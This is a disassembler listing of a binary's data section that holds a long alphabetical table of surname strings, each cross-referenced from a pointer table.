___:0042E75Co align 10h aVenne db 'Venne',0 ; DATA XREF: ___:0042E758o align 4 aWengret db 'Wengret',0 ; DATA XREF: ___:0042E754o aWelsh db 'Welsh',0 ; DATA XREF: ___:0042E750o align 4 aWelles db 'Welles',0 ; DATA XREF: ___:0042E74Co align 10h aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042E748o align 4 aWeissman db 'Weissman',0 align 4 aWeissbourd db 'Weissbourd',0 align 4 aWeinhaus db 'Weinhaus',0 align 10h aWeingarten db 'Weingarten',0 align 4 aWeighart db 'Weighart',0 align 4 aWaugh db 'Waugh',0 align 10h aVasquez db 'Vasquez',0 aWasowska db 'Wasowska',0 align 4 aWarshafsky db 'Warshafsky',0 align 10h aVanheeckeren db 'Vanheeckeren',0 align 10h aVandenberg db 'Vandenberg',0 align 4 aVanzwet db 'VanZwet',0 aVanallen db 'vanAllen',0 align 10h aWalter db 'Walter',0 ; DATA XREF: ___:0042E710o align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042E70Co align 4 aWales db 'Wales',0 align 4 aValencia db 'Valencia',0 align 4 aValberg db 'Valberg',0 aWaite db 'Waite',0 align 4 aVacca db 'Vacca',0 align 10h aUzuner db 'Uzuner',0 align 4 aUsdan db 'Usdan',0 align 10h aUrdangBrown db 'Urdang-Brown',0 align 10h aUrban db 'Urban',0 align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042E6E4o aUntermeyer db 'Untermeyer',0 align 4 aUllman db 'Ullman',0 ; DATA XREF: ___:0042E6DCo align 4 aTzamarias db 'Tzamarias',0 align 10h aTwells db 'Twells',0 ; DATA XREF: ___:0042E6D4o align 4 aTuttle db 'Tuttle',0 align 10h aTurek db 'Turek',0 align 4 aTurano db 'Turano',0 align 10h aTukan db 'Tukan',0 ; DATA XREF: ___:0042E6C4o align 4 aTudge db 'Tudge',0 align 10h aTuck db 'Tuck',0 align 4 aTsukurov db 'Tsukurov',0 align 4 aTsomides db 'Tsomides',0 align 10h aTsiatis db 'Tsiatis',0 aTruss db 'Truss',0 align 10h aTroy db 'Troy',0 align 4 aTroiani db 'Troiani',0 aTringali db 'Tringali',0 ; DATA XREF: ___:0042E6A0o align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042E69Co align 4 aTrenga db 'Trenga',0 ; DATA XREF: ___:0042E698o align 4 aTraebert db 'Traebert',0 align 4 aToye db 'Toye',0 align 10h aTowler db 'Towler',0 ; DATA XREF: ___:0042E68Co align 4 aTorske db 'Torske',0 ; DATA XREF: ___:0042E688o align 10h aTorresi db 'Torresi',0 ; DATA XREF: ___:0042E684o aTopulos db 'Topulos',0 ; DATA XREF: ___:0042E680o aToomer db 'Toomer',0 ; DATA XREF: ___:0042E67Co align 4 aTomford db 'Tomford',0 ; DATA XREF: ___:0042E678o aTolman db 'Tolman',0 ; DATA XREF: ___:0042E674o align 4 aTolls db 'Tolls',0 ; DATA XREF: ___:0042E670o align 10h aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042E66Co align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042E668o align 4 aTimmons db 'Timmons',0 ; DATA XREF: ___:0042E664o aTill db 'Till',0 ; DATA XREF: ___:0042E660o align 4 aTierney db 'Tierney',0 ; DATA XREF: ___:0042E65Co aThroop db 'Throop',0 ; DATA XREF: ___:0042E658o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E654o aThisted db 'Thisted',0 ; DATA XREF: ___:0042E650o aThibault db 'Thibault',0 ; DATA XREF: ___:0042E64Co align 4 aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E648o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E644o align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E640o align 4 aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E63Co align 10h aTenney db 'Tenney',0 ; DATA XREF: ___:0042E638o align 4 aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E634o align 10h aTemes db 'Temes',0 ; DATA XREF: ___:0042E630o align 4 aTeague db 'Teague',0 ; DATA XREF: ___:0042E62Co align 10h aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E628o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E624o align 4 aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E620o aTatar db 'Tatar',0 ; DATA XREF: ___:0042E61Co align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E618o align 10h aTandler db 'Tandler',0 ; DATA XREF: ___:0042E614o aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E610o aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E60Co align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E608o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E604o aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E600o aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E5FCo align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E5F8o align 4 aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E5F4o align 10h aSuo db 'Suo',0 ; DATA XREF: ___:0042E5F0o aSumner db 'Sumner',0 ; DATA XREF: ___:0042E5ECo align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E5E8o align 4 aStringer db 'Stringer',0 ; DATA XREF: ___:0042E5E4o align 4 aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E5E0o aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E5DCo aStrange db 'Strange',0 ; DATA XREF: ___:0042E5D8o aStott db 'Stott',0 ; DATA XREF: ___:0042E5D4o align 4 aStorer db 'Storer',0 ; DATA XREF: ___:0042E5D0o align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E5CCo aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E5C8o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E5C4o align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E5C0o align 4 aStock db 'Stock',0 ; DATA XREF: ___:0042E5BCo align 10h aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E5B8o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E5B4o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E5B0o align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E5ACo aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E5A8o align 10h aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E5A4o aStefani db 'Stefani',0 ; DATA XREF: ___:0042E5A0o aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E59Co align 4 aStates db 'States',0 ; DATA XREF: ___:0042E598o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E594o align 4 aStang db 'Stang',0 ; DATA XREF: ___:0042E590o align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E58Co align 4 aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E588o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E584o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E580o aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E57Co align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E578o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E574o align 4 aSperber db 'Sperber',0 ; DATA XREF: ___:0042E570o aSpence db 'Spence',0 ; DATA XREF: ___:0042E56Co align 4 aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E568o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E564o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E560o aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E55Co aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E558o align 4 aSoule db 'Soule',0 ; DATA XREF: ___:0042E554o align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E550o align 4 aSottak db 'Sottak',0 ; DATA XREF: ___:0042E54Co align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E548o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E544o align 10h aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E540o align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E53Co align 4 aSolon db 'Solon',0 ; DATA XREF: ___:0042E538o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E534o aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E530o align 10h aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E52Co aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E528o align 10h aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E524o align 4 aSloan db 'Sloan',0 ; DATA XREF: ___:0042E520o align 10h aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E51Co align 4 aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E518o align 10h aSkane db 'Skane',0 ; DATA XREF: ___:0042E514o align 4 aSites db 'Sites',0 ; DATA XREF: ___:0042E510o align 10h aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E50Co aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E508o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E504o align 10h aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E500o align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E4FCo align 4 aSigini db 'Sigini',0 ; DATA XREF: ___:0042E4F8o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E4F4o aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E4F0o align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E4ECo align 4 aShibata db 'Shibata',0 ; DATA XREF: ___:0042E4E8o aShia db 'Shia',0 ; DATA XREF: ___:0042E4E4o align 4 aShesko db 'Shesko',0 ; DATA XREF: ___:0042E4E0o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E4DCo align 4 aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E4D8o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E4D4o align 10h aSheats db 'Sheats',0 ; DATA XREF: ___:0042E4D0o align 4 aShea db 'Shea',0 ; DATA XREF: ___:0042E4CCo align 10h aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E4C8o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E4C4o aShar db 'Shar',0 ; DATA XREF: ___:0042E4C0o align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E4BCo aShankland db 'Shankland',0 ; DATA XREF: ___:0042E4B8o align 10h aShakis db 'Shakis',0 ; DATA XREF: ___:0042E4B4o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E4B0o align 10h aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E4ACo aSexton db 'Sexton',0 ; DATA XREF: ___:0042E4A8o align 10h aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E4A4o align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E4A0o aSen db 'Sen',0 ; DATA XREF: ___:0042E49Co aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E498o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E494o align 4 aSegal db 'Segal',0 ; DATA XREF: ___:0042E490o align 10h aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E48Co align 4 aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E488o align 10h aScudder db 'Scudder',0 ; DATA XREF: ___:0042E484o aScovel db 'Scovel',0 ; DATA XREF: ___:0042E480o align 10h aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E47Co aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E478o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E474o align 10h aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E470o aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E46Co aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E468o align 10h aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E464o aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E460o align 4 aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E45Co align 10h aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E458o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E454o align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E450o aScharf db 'Scharf',0 ; DATA XREF: ___:0042E44Co align 4 aScepan db 'Scepan',0 ; DATA XREF: ___:0042E448o align 10h aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E444o align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E440o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E43Co aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E438o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E434o align 4 aSatin db 'Satin',0 ; DATA XREF: ___:0042E430o align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E42Co align 4 aSartore db 'Sartore',0 ; DATA XREF: ___:0042E428o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E424o align 4 aSapers db 'Sapers',0 ; DATA XREF: ___:0042E420o align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E41Co align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E418o aSamson db 'Samson',0 ; DATA XREF: ___:0042E414o align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E410o align 4 aSahu db 'Sahu',0 ; DATA XREF: ___:0042E40Co align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E408o align 4 aSadler db 'Sadler',0 ; DATA XREF: ___:0042E404o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E400o align 4 aRyu db 'Ryu',0 ; DATA XREF: ___:0042E3FCo aRush db 'Rush',0 ; DATA XREF: ___:0042E3F8o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E3F4o align 10h aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E3F0o align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E3ECo align 4 aRu db 'Ru',0 ; DATA XREF: ___:0042E3E8o align 4 aRoyal db 'Royal',0 ; DATA XREF: ___:0042E3E4o align 10h aRow db 'Row',0 ; DATA XREF: ___:0042E3E0o aRonen db 'Ronen',0 ; DATA XREF: ___:0042E3DCo align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E3D8o align 4 aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E3D4o aRocha db 'Rocha',0 ; DATA XREF: ___:0042E3D0o align 4 aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E3CCo align 10h aRivera db 'Rivera',0 ; DATA XREF: ___:0042E3C8o align 4 aRish db 'Rish',0 ; DATA XREF: ___:0042E3C4o align 10h aRineer db 'Rineer',0 ; DATA XREF: ___:0042E3C0o align 4 aRindos db 'Rindos',0 ; DATA XREF: ___:0042E3BCo align 10h aRielly db 'Rielly',0 ; DATA XREF: ___:0042E3B8o align 4 aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E3B4o align 4 aRhea db 'Rhea',0 ; DATA XREF: ___:0042E3B0o align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E3ACo align 4 aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E3A8o aRenick db 'Renick',0 ; DATA XREF: ___:0042E3A4o align 4 aRemak db 'Remak',0 ; DATA XREF: ___:0042E3A0o align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E39Co aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E398o align 10h aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E394o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E390o align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E38Co aRapple db 'Rapple',0 ; DATA XREF: ___:0042E388o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E384o align 4 aRangan db 'Rangan',0 ; DATA XREF: ___:0042E380o align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E37Co align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E378o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E374o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E370o align 10h aRabe db 'Rabe',0 ; DATA XREF: ___:0042E36Co align 4 aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E368o align 10h aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E364o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E360o aPugh db 'Pugh',0 ; DATA XREF: ___:0042E35Co align 4 aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E358o align 10h aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E354o align 10h aProietti db 'Proietti',0 ; DATA XREF: ___:0042E350o align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E34Co align 4 aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E348o align 10h aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E344o aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E340o aPresper db 'Presper',0 ; DATA XREF: ___:0042E33Co aPowers db 'Powers',0 ; DATA XREF: ___:0042E338o align 10h aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E334o aPoma db 'Poma',0 ; DATA XREF: ___:0042E330o align 10h aPolitis db 'Politis',0 ; DATA XREF: ___:0042E32Co aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E328o aPolak db 'Polak',0 ; DATA XREF: ___:0042E324o align 4 aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E320o aPointer db 'Pointer',0 ; DATA XREF: ___:0042E31Co aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E318o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E314o align 10h aPo db 'Po',0 ; DATA XREF: ___:0042E310o align 4 aPlous db 'Plous',0 ; DATA XREF: ___:0042E30Co align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E308o aPlant db 'Plant',0 ; DATA XREF: ___:0042E304o align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E300o aPinot db 'Pinot',0 ; DATA XREF: ___:0042E2FCo align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E2F8o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E2F4o aPettit db 'Pettit',0 ; DATA XREF: ___:0042E2F0o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E2ECo align 10h aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E2E8o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E2E4o align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E2E0o align 10h aPerone db 'Perone',0 ; DATA XREF: ___:0042E2DCo align 4 aPerna db 'Perna',0 ; DATA XREF: ___:0042E2D8o align 10h aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E2D4o aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E2D0o align 10h aPerko db 'Perko',0 ; DATA XREF: ___:0042E2CCo align 4 aPereira db 'Pereira',0 ; DATA XREF: ___:0042E2C8o aPenny db 'Penny',0 ; DATA XREF: ___:0042E2C4o align 4 aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E2C0o aPederson db 'Pederson',0 ; DATA XREF: ___:0042E2BCo align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E2B8o align 4 aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E2B4o aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E2B0o aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E2ACo align 4 aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E2A8o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E2A4o aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E2A0o align 10h aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E29Co aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E298o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E294o align 10h aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E290o align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E28Co align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E288o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E284o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E280o align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E27Co align 4 aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E278o align 10h aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E274o align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E270o aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E26Co align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E268o align 4 aPaine db 'Paine',0 ; DATA XREF: ___:0042E264o align 10h aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E260o align 10h aOvid db 'Ovid',0 ; DATA XREF: ___:0042E25Co align 4 aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E258o aOtten db 'Otten',0 ; DATA XREF: ___:0042E254o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E250o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E24Co align 10h aOspina db 'Ospina',0 ; DATA XREF: ___:0042E248o align 4 aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E244o align 10h aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E240o aOray db 'Oray',0 ; DATA XREF: ___:0042E23Co align 10h aOpel db 'Opel',0 ; DATA XREF: ___:0042E238o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E234o aOman db 'Oman',0 ; DATA XREF: ___:0042E230o align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E22Co align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E228o align 10h aOlson db 'Olson',0 ; DATA XREF: ___:0042E224o align 4 aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E220o align 10h aOldford db 'Oldford',0 ; DATA XREF: ___:0042E21Co aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E218o aOh db 'Oh',0 ; DATA XREF: ___:0042E214o align 4 aOgata db 'Ogata',0 ; DATA XREF: ___:0042E210o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E20Co aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E208o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E204o align 4 aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E200o align 10h aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E1FCo align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E1F8o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E1F4o align 4 aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E1F0o align 4 aNg db 'Ng',0 ; DATA XREF: ___:0042E1ECo align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E1E8o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E1E4o aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E1E0o align 4 aNesci db 'Nesci',0 ; DATA XREF: ___:0042E1DCo align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E1D8o align 4 aNelson db 'Nelson',0 ; DATA XREF: ___:0042E1D4o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E1D0o aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E1CCo aNardone db 'Nardone',0 ; DATA XREF: ___:0042E1C8o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E1C4o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E1C0o align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E1BCo align 10h aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E1B8o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E1B4o aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E1B0o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E1ACo aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E1A8o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E1A4o align 4 aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E1A0o aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E19Co aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E198o align 10h aMosler db 'Mosler',0 ; DATA XREF: ___:0042E194o align 4 aMosher db 'Mosher',0 ; DATA XREF: ___:0042E190o align 10h aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E18Co align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E188o align 4 aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E184o align 10h aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E180o aMorani db 'Morani',0 ; DATA XREF: ___:0042E17Co align 10h aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E178o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E174o align 4 aMonque db 'Monque',0 ; DATA XREF: ___:0042E170o align 10h aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E16Co align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E168o align 4 aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E164o aModestino db 'Modestino',0 ; DATA XREF: ___:0042E160o align 4 aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E15Co aMittal db 'Mittal',0 ; DATA XREF: ___:0042E158o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E154o aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E150o align 10h aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E14Co aMini db 'Mini',0 ; DATA XREF: ___:0042E148o align 4 aMinh db 'Minh',0 ; DATA XREF: ___:0042E144o align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E140o align 4 aMieher db 'Mieher',0 ; DATA XREF: ___:0042E13Co align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E138o align 4 aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E134o align 10h aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E130o align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E12Co align 4 aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E128o aMerz db 'Merz',0 ; DATA XREF: ___:0042E124o align 4 aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E120o aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E11Co align 4 aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E118o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E114o align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E110o aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E10Co align 10h aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E108o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E104o aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E100o aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E0FCo aMclane db 'Mclane',0 ; DATA XREF: ___:0042E0F8o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E0F4o aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E0F0o align 10h aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E0ECo aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E0E8o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E0E4o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E0E0o align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E0DCo aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E0D8o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E0D4o align 4 aMccall db 'Mccall',0 ; DATA XREF: ___:0042E0D0o align 10h aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E0CCo align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E0C8o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E0C4o align 10h aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E0C0o aMay db 'May',0 ; DATA XREF: ___:0042E0BCo aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E0B8o align 4 aMattson db 'Mattson',0 ; DATA XREF: ___:0042E0B4o aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E0B0o align 4 aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E0ACo align 4 aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E0A8o aMass db 'Mass',0 ; DATA XREF: ___:0042E0A4o align 4 aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E0A0o align 10h aMarton db 'Marton',0 ; DATA XREF: ___:0042E09Co align 4 aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E098o align 4 aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E094o align 10h aMarques db 'Marques',0 ; DATA XREF: ___:0042E090o 